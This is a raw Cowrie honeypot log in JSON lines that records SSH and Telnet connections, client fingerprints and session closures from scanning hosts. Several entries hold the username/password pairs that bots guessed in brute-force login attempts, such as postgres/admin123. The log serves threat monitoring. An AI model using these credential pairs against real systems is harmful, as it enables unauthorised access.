{"eventid":"cowrie.session.closed","duration":51.484243392944336,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:19.485188Z","src_ip":"38.54.119.93","session":"4877f7ad353f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:19.992805Z","src_ip":"186.10.86.130","session":"dfb9a9621a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60700,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2da94f75cf","protocol":"telnet","message":"New connection: 38.54.119.93:60700 (10.17.0.5:23) [session: fd2da94f75cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:21.909749Z"}
{"eventid":"cowrie.session.closed","duration":39.01590871810913,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:24.108734Z","src_ip":"65.60.27.33","session":"d0e60092dc0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.184184074401855,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:28.326993Z","src_ip":"192.211.53.160","session":"e0edfa1b2d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39148,"dst_ip":"10.17.0.5","dst_port":23,"session":"380442c314d2","protocol":"telnet","message":"New connection: 38.54.119.93:39148 (10.17.0.5:23) [session: 380442c314d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:32.912690Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":13962,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd5c6b90b65","protocol":"ssh","message":"New connection: 177.85.247.230:13962 (10.17.0.5:22) [session: 1bd5c6b90b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:35.516588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:35.521929Z","src_ip":"177.85.247.230","session":"1bd5c6b90b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:35.624780Z","src_ip":"177.85.247.230","session":"1bd5c6b90b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin123","message":"login attempt [postgres/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:36.066519Z","src_ip":"177.85.247.230","session":"1bd5c6b90b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.23596978187561,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:36.635304Z","src_ip":"38.60.198.128","session":"26f2a536a8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdfa932646b4","protocol":"ssh","message":"New connection: 103.203.57.2:59722 (10.17.0.5:22) [session: bdfa932646b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:37.077774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:37.082340Z","src_ip":"103.203.57.2","session":"bdfa932646b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:37.124833Z","src_ip":"103.203.57.2","session":"bdfa932646b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:37.171473Z","src_ip":"177.85.247.230","session":"1bd5c6b90b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.732544898986816,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:37.645127Z","src_ip":"38.54.119.93","session":"380442c314d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42844,"dst_ip":"10.17.0.5","dst_port":23,"session":"33e184fe5f2c","protocol":"telnet","message":"New connection: 38.54.119.93:42844 (10.17.0.5:23) [session: 33e184fe5f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:38.107111Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"5440da84f61f","protocol":"telnet","message":"New connection: 38.54.119.93:45992 (10.17.0.5:23) [session: 5440da84f61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:43.003203Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:47.078156Z","src_ip":"103.203.57.2","session":"bdfa932646b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49002,"dst_ip":"10.17.0.5","dst_port":23,"session":"55616149277c","protocol":"telnet","message":"New connection: 38.54.119.93:49002 (10.17.0.5:23) [session: 55616149277c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:48.000448Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":35484,"dst_ip":"10.17.0.5","dst_port":22,"session":"742e06c4a989","protocol":"ssh","message":"New connection: 14.103.127.97:35484 (10.17.0.5:22) [session: 742e06c4a989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:48.330091Z"}
{"eventid":"cowrie.session.closed","duration":49.79496383666992,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:49.909250Z","src_ip":"38.54.119.93","session":"27d85e880709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be87ca349bb","protocol":"ssh","message":"New connection: 186.113.245.157:60968 (10.17.0.5:22) [session: 9be87ca349bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:51.297880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:51.301921Z","src_ip":"186.113.245.157","session":"9be87ca349bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:51.395141Z","src_ip":"186.113.245.157","session":"9be87ca349bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:51.785555Z","src_ip":"186.113.245.157","session":"9be87ca349bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:52.878860Z","src_ip":"186.113.245.157","session":"9be87ca349bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:54.339554Z","src_ip":"14.103.127.97","session":"742e06c4a989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:54.343322Z","src_ip":"14.103.127.97","session":"742e06c4a989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:54.349048Z","src_ip":"14.103.127.97","session":"742e06c4a989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.215755224227905,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:55.076404Z","src_ip":"38.60.198.128","session":"9fd8aaa3b378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56690,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd9f3dba2a4","protocol":"telnet","message":"New connection: 38.54.119.93:56690 (10.17.0.5:23) [session: 5bd9f3dba2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:59.724124Z"}
{"eventid":"cowrie.session.closed","duration":49.93050956726074,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:05.431075Z","src_ip":"45.81.23.16","session":"cea1ba07a060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.00960040092468,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:07.919214Z","src_ip":"38.54.119.93","session":"fd2da94f75cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.50285053253174,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:08.007823Z","src_ip":"45.81.23.16","session":"13c54f43c3a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.149691343307495,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:10.455151Z","src_ip":"45.81.23.16","session":"63ad8ff2dc2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":23383,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb0178fbeec6","protocol":"ssh","message":"New connection: 115.68.208.117:23383 (10.17.0.5:22) [session: eb0178fbeec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:11.190304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:11.195176Z","src_ip":"115.68.208.117","session":"eb0178fbeec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:11.406254Z","src_ip":"115.68.208.117","session":"eb0178fbeec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"password","message":"login attempt [develop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:12.275431Z","src_ip":"115.68.208.117","session":"eb0178fbeec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:13.486197Z","src_ip":"115.68.208.117","session":"eb0178fbeec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.97019600868225,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:13.746966Z","src_ip":"45.81.23.16","session":"e67594c987e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":47220,"dst_ip":"159.203.135.109","dst_port":22,"session":"769008a876f6","protocol":"ssh","message":"New connection: 186.10.86.130:47220 (159.203.135.109:22) [session: 769008a876f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:23.427100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:23.431511Z","src_ip":"186.10.86.130","session":"769008a876f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:23.575550Z","src_ip":"186.10.86.130","session":"769008a876f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty12","message":"login attempt [test/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:24.174887Z","src_ip":"186.10.86.130","session":"769008a876f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:25.319644Z","src_ip":"186.10.86.130","session":"769008a876f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34718,"dst_ip":"159.203.135.109","dst_port":23,"session":"c521992700a0","protocol":"telnet","message":"New connection: 38.60.198.128:34718 (159.203.135.109:23) [session: c521992700a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:25.967192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4188fbb280a","protocol":"telnet","message":"New connection: 192.211.53.160:54186 (159.203.135.109:23) [session: e4188fbb280a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:26.826866Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54188,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d911bfed11","protocol":"telnet","message":"New connection: 192.211.53.160:54188 (159.203.135.109:23) [session: 81d911bfed11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:26.831972Z"}
{"eventid":"cowrie.session.closed","duration":49.19913196563721,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:27.306097Z","src_ip":"38.54.119.93","session":"33e184fe5f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":24384,"dst_ip":"10.17.0.5","dst_port":22,"session":"16dbd7c9098a","protocol":"ssh","message":"New connection: 177.85.247.230:24384 (10.17.0.5:22) [session: 16dbd7c9098a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:30.871783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:30.877704Z","src_ip":"177.85.247.230","session":"16dbd7c9098a","protocol":"ssh"}
